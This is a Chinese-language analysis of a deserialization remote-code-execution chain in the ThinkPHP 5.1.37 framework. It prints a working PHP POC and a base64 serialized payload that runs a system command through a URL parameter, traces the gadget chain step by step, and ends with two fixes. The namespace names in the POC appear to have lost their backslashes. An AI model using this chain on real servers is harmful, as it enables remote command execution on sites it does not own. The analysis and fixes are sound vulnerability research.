通过composer来进行环境搭建
composer create-project topthink/think=5.1.37 v5.1.37
待调试代码
![v2-83516d662ab260e944ff8ff40d2e7460_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic1.zhimg.com/v2-83516d662ab260e944ff8ff40d2e7460_b.jpg)
POC
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace thinkprocesspipes;
use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace thinkmodel;
use thinkModel;
{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>
URL
http://127.0.0.1/v5.1.37/public/?id=whoami
字符串被反序列化以后,按照PHP流程,反序列化出来的Windows类,在php脚本快要结束的时候,析构方法被触发
![v2-915b66050ca5efafa84865f5523fac0b_b.jpg](http://img-03.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic4.zhimg.com/v2-915b66050ca5efafa84865f5523fac0b_b.jpg)
然后跟进removeFiles
方法中
![v2-86f20f285a237df87165d6734b958725_b.jpg](http://img-03.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic2.zhimg.com/v2-86f20f285a237df87165d6734b958725_b.jpg)
file_exists($filename) 中的 $filename 根据我们刚才构造的POC是一个Pivot类,file_exists要求传入一个字符串,这里就会触发__toString方法
但是我们查看代码实现,没有发现这个魔术方法
![v2-e76d9f967de4a9ffaaee1dda75149db5_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic2.zhimg.com/v2-e76d9f967de4a9ffaaee1dda75149db5_b.jpg)
我们接着跟进它的父类查看实现,这个也同样没有找到__toString方法
![v2-8fe91aad9bd521e5ce9677e6eb5d7af6_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic3.zhimg.com/v2-8fe91aad9bd521e5ce9677e6eb5d7af6_b.jpg)
关注这一块的引用,根据PHP的规则在class中 use trait 会继承该trait实现的方法
![v2-ecf51400d589626395acc7c53e63b302_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic3.zhimg.com/v2-ecf51400d589626395acc7c53e63b302_b.jpg)
在Conversion中发现了__toString方法的实现
![v2-5219cd3d60f5c1bcba39bbbc6eba17ad_b.jpg](http://img-01.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic2.zhimg.com/v2-5219cd3d60f5c1bcba39bbbc6eba17ad_b.jpg)
一直跟
![v2-5329593b7c8bd19944394aef8b59a76f_b.jpg](http://img-03.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic4.zhimg.com/v2-5329593b7c8bd19944394aef8b59a76f_b.jpg)
最后是调用了toArray方法
![v2-ced205382ae71f4e4d609615b2e554ba_b.jpg](http://img-03.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic3.zhimg.com/v2-ced205382ae71f4e4d609615b2e554ba_b.jpg)
在toArray方法中,189行$relation变量被赋值为poc中的Requst对象,然后在193行调用Requst对象的visible方法,
![v2-422d7dfbcf7e0f4e4c0c7248eced4156_b.jpg](http://img-01.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic3.zhimg.com/v2-422d7dfbcf7e0f4e4c0c7248eced4156_b.jpg)
但是Request对象中没有visible这个方法所以触发了__call这个魔术方法
![v2-75a05e6d8cfcde521ceee7a04092ee28_b.jpg](http://img-03.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic1.zhimg.com/v2-75a05e6d8cfcde521ceee7a04092ee28_b.jpg)
根据POC里面的定义
![v2-b038c82253f30fb2a485cf95593d0271_b.png](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic2.zhimg.com/v2-b038c82253f30fb2a485cf95593d0271_b.png)
触发了Requst对象里面的isAjax方法
![v2-0340f39c48ec690b6fc5b36cb178d36e_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic3.zhimg.com/v2-0340f39c48ec690b6fc5b36cb178d36e_b.jpg)
经过层层调用,最后调用了input方法
![v2-a8ebeb08a1115297ef174f62b452e628_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic1.zhimg.com/v2-a8ebeb08a1115297ef174f62b452e628_b.jpg)
最关键的地方来了
![v2-e53d24349e2973ca6749782079157261_b.jpg](http://img-03.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic2.zhimg.com/v2-e53d24349e2973ca6749782079157261_b.jpg)
通过POC我们将这里的$filter变量污染成了system
![v2-611a9e5eed62755a10b214539063ae59_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic2.zhimg.com/v2-611a9e5eed62755a10b214539063ae59_b.jpg)
关键函数array_walk_recursive
![v2-c14a72144fef363a52fd4ab58f6dda3b_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic4.zhimg.com/v2-c14a72144fef363a52fd4ab58f6dda3b_b.jpg)
![v2-eb96909db2c3edd8e13a9b2e5a32ac23_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic4.zhimg.com/v2-eb96909db2c3edd8e13a9b2e5a32ac23_b.jpg)
将whoami在system函数中执行,到这里命令执行成功
![v2-9cba714c9ebeaf5edd2eeaf1f0fb14bf_b.jpg](http://img-01.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic4.zhimg.com/v2-9cba714c9ebeaf5edd2eeaf1f0fb14bf_b.jpg)
整个漏洞完整调用堆载
![v2-d7b35984647ce3c16370291528fefd46_b.jpg](http://img-03.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic3.zhimg.com/v2-d7b35984647ce3c16370291528fefd46_b.jpg)
修复方法:
1.框架态,针对Windows类进行修复,判断是否为string
![v2-0ec386a1524557b56fe7dd47682f2563_b.jpg](http://img-01.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic4.zhimg.com/v2-0ec386a1524557b56fe7dd47682f2563_b.jpg)
2.用户态,使用PHP7新增的unserialize的过滤器
示例:
![v2-e12f7c8c6c479dc77a3ef6e6ae9a1569_b.jpg](http://img-02.proxy.5ce.com/view/image?&type=2&guid=9968b740-192a-eb11-8da9-e4434bdf6706&url=https://pic2.zhimg.com/v2-e12f7c8c6c479dc77a3ef6e6ae9a1569_b.jpg)
它通过白名单的方式来防止潜在的代码注入,将除 MyClass 和 MyClass2和stdClass之外的所有对象都转换为 __PHP_Incomplete_Class 对象,从而阻断反序列化的漏洞利用链